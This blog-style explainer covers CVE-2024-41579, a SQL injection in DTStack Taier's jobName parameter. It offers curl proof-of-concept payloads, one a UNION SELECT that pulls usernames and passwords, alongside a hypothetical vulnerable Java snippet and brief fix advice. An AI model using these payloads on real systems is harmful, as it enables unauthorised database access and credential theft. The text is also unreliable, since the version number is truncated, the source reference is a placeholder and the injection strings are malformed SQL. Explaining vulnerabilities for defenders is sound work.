CVE-2024-41579 - Remote SQL Injection in DTStack Taier 1.4. Explained (With Exploit Details)

On May 2024, a critical SQL injection vulnerability was discovered in DTStack Taier version 1.4.. This flaw allows a remote attacker to execute arbitrary SQL queries on the system, potentially exposing or altering sensitive data. In this article, we’ll break down what CVE-2024-41579 is, how the bug works, and show proof-of-concept exploit – all using clear language and practical code snippets.

What is DTStack Taier?

DTStack Taier is an open source big data scheduling system widely used in the data engineering field in China and worldwide. It offers graphical interfaces for task scheduling, big data synchronization, and workflow automation.

What is CVE-2024-41579?

CVE-2024-41579 is a SQL Injection vulnerability found in Taier 1.4.'s backend. The problem lies in how the system handles the jobName parameter in the /console/listNames function. It doesn’t validate or sanitize user-supplied inputs before inserting them into a SQL query.

This means an attacker can inject malicious SQL through the jobName parameter and directly interact with the database.

How attack works:

- Attacker crafts a request to /console/listNames?jobName=.

Vulnerable Code (Conceptual Example)

*(While DTStack Taier is open source, detailed implementation may vary. A simplified vulnerable code example is shown below:)*

// Hypothetical vulnerable Java snippet
String jobName = request.getParameter("jobName");
String query = "SELECT * FROM jobs WHERE jobName='" + jobName + "'";
// query is sent directly to the database without sanitization!
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

Why is this bad?

If an attacker sends jobName=a' OR '1'='1, then the SQL becomes

SELECT * FROM jobs WHERE jobName='a' OR '1'='1'

This returns all rows from the table.

Proof-of-Concept (PoC) Exploit

See GitHub Issue Example *(Note: Example, check the actual repository for real CVE info).*

Quick PoC with curl:

curl "http://TARGET/console/listNames?jobName='; OR 1=1 --"

Advanced attackers can inject union queries to enumerate the database

curl "http://TARGET/console/listNames?jobName='; UNION SELECT username, password FROM users -- "

If the system returns the raw response, attacker may retrieve usernames and password hashes.

How to Fix

Upgrade to a patched version:
Check DTStack’s Security Advisory for fix details.

Short-term mitigation:
Use a web application firewall (WAF) to block suspicious parameters and sanitize inputs.

Final Thoughts

CVE-2024-41579 is a textbook case of SQL injection and highlights the need for input validation and using parameterized queries. If you use DTStack Taier, patch immediately and audit similar functions for SQL vulnerabilities.
